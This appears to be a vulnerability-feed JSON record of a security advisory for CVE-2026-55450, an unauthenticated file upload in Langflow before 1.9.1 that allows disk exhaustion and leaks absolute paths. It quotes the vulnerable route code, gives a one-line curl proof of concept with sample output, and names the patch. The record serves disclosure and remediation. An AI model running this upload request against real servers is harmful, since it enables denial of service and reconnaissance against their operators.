{"id":"CVE-2026-55450","title":"Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak","summary":"Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak","severity":"critical","cvss":9.3,"cwe":["CWE-200","CWE-306","CWE-400"],"vendor":"langflow","product":"langflow","ecosystem":"pip","affected":["langflow < 1.9.1"],"patched":["langflow 1.9.1"],"published":"2026-06-17","updated":"2026-06-17","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-x223-p2gf-v735","references":[{"url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735"},{"url":"https://github.com/langflow-ai/langflow/pull/12831"},{"url":"https://github.com/advisories/GHSA-x223-p2gf-v735"}],"tags":["ghsa","pip","exploit-available"],"epss":0.0119,"epssPercentile":0.66117,"ingestedAt":"2026-06-29T14:31:47.184Z","exploits":{"nuclei":["CVE-2026-55450"],"checkedAt":"2026-09-21T15:29:36.940Z"},"exploitAvailable":true,"slug":"CVE-2026-55450","body":"## Overview\n\n### Summary\nUnauthenticated users can upload any amount of data to the server without any limitations. No need for any prior knowledge, only network access to Langflow.\n\nThis can lead to space exhaustion on the server.\n\nIn adition, in the response, the absolute path of the uploaded file is reported to the attacker, which is an information leak that can assist in chaining other primitives.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nCode is in `langflow/api/v1/[endpoints.py](http://endpoints.py/)`:\n```python\n@router.post(\n    \"/upload/{flow_id}\",\n    status_code=HTTPStatus.CREATED,\n    deprecated=True,\n)\nasync def create_upload_file(\n    file: UploadFile,\n    flow_id: UUID,\n) -> UploadFileResponse:\n...\n```\nAs can be seen above, there is no authentication. There is not validation over `flow_id` as well, unlike other endpoints:\n```\n        flow_id_str = str(flow_id)\n        file_path = await asyncio.to_thread(save_uploaded_file, file, folder_name=flow_id_str)\n```\nFunction `save_uploaded_file` saves the file to local file-system.\nSuggested fix:\n1. Add authentication to route.\n2. Only return relative path or filename.\n\n### PoC\nPoC:\n```bash\ncurl 'http://localhost:7860/api/v1/upload/<any_uuid>' -F \"file=@<any_file>\"\n```\n\nExample:\n```bash\n# curl 'http://localhost:7860/api/v1/upload/11111111-1111-1111-1111-111111111111' -F \"file=@/tmp/dummy.txt\"\n{\"flowId\":\"11111111-1111-1111-1111-111111111111\",\"file_path\":\"/Users/ori/Library/Caches/langflow/11111111-1111-1111-1111-111111111111/9d63c3b5b7623d1fa3dc7fd1547313b9546c6d0fbbb6773a420613b7a17995c8.txt\"}\n```\n\n### Impact\n1. Space exhaustion on server that can lead to Denial-of-Service.\n2. Information leak - leakage of absolute path of langflow's cache directory in server.\n\n\n\n\n\n### Patches\nFixed in **1.9.1** via PR [#12831](https://github.com/langflow-ai/langflow/pull/12831). The deprecated `POST /api/v1/upload/{flow_id}` endpoint now uses the `get_flow` dependency, requiring an authenticated user and flow ownership (returns `404` for missing or cross-user flows), and enforces the `max_file_size_upload` limit (`HTTP 413`) — closing the unauthenticated upload and disk-exhaustion vectors. Upgrade to **1.9.1 or later**.\n\nNote: the response still returns the file's absolute path (`file_path`); after this fix it is only disclosed to the authenticated owner of the flow.\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.\n\n## Affected packages\n\n- `langflow < 1.9.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `langflow 1.9.1`","depth":"abyssal","depthScore":63,"depthScoreParts":{"impact":51.2,"likelihood":0.2,"exploitation":12,"ransomware":0},"changes":[{"seq":5353,"id":"CVE-2026-55450","ts":1788887270103,"field":"exploit_available","old":"false","new":"true"},{"seq":4236,"id":"CVE-2026-55450","ts":1788886385035,"field":"exploit_available","old":"true","new":"false"},{"seq":2992,"id":"CVE-2026-55450","ts":1788883048626,"field":"exploit_available","old":"false","new":"true"},{"seq":2021,"id":"CVE-2026-55450","ts":1788882453057,"field":"exploit_available","old":"true","new":"false"},{"seq":1097,"id":"CVE-2026-55450","ts":1788881889950,"field":"exploit_available","old":"false","new":"true"},{"seq":178,"id":"CVE-2026-55450","ts":1787603661229,"field":"epss","old":"0.11819","new":"0.0119"},{"seq":102,"id":"CVE-2026-55450","ts":1785612567071,"field":"epss","old":"0.06402","new":"0.11819"},{"seq":93,"id":"CVE-2026-55450","ts":1784920494082,"field":"epss","old":"0.00332","new":"0.06402"}]}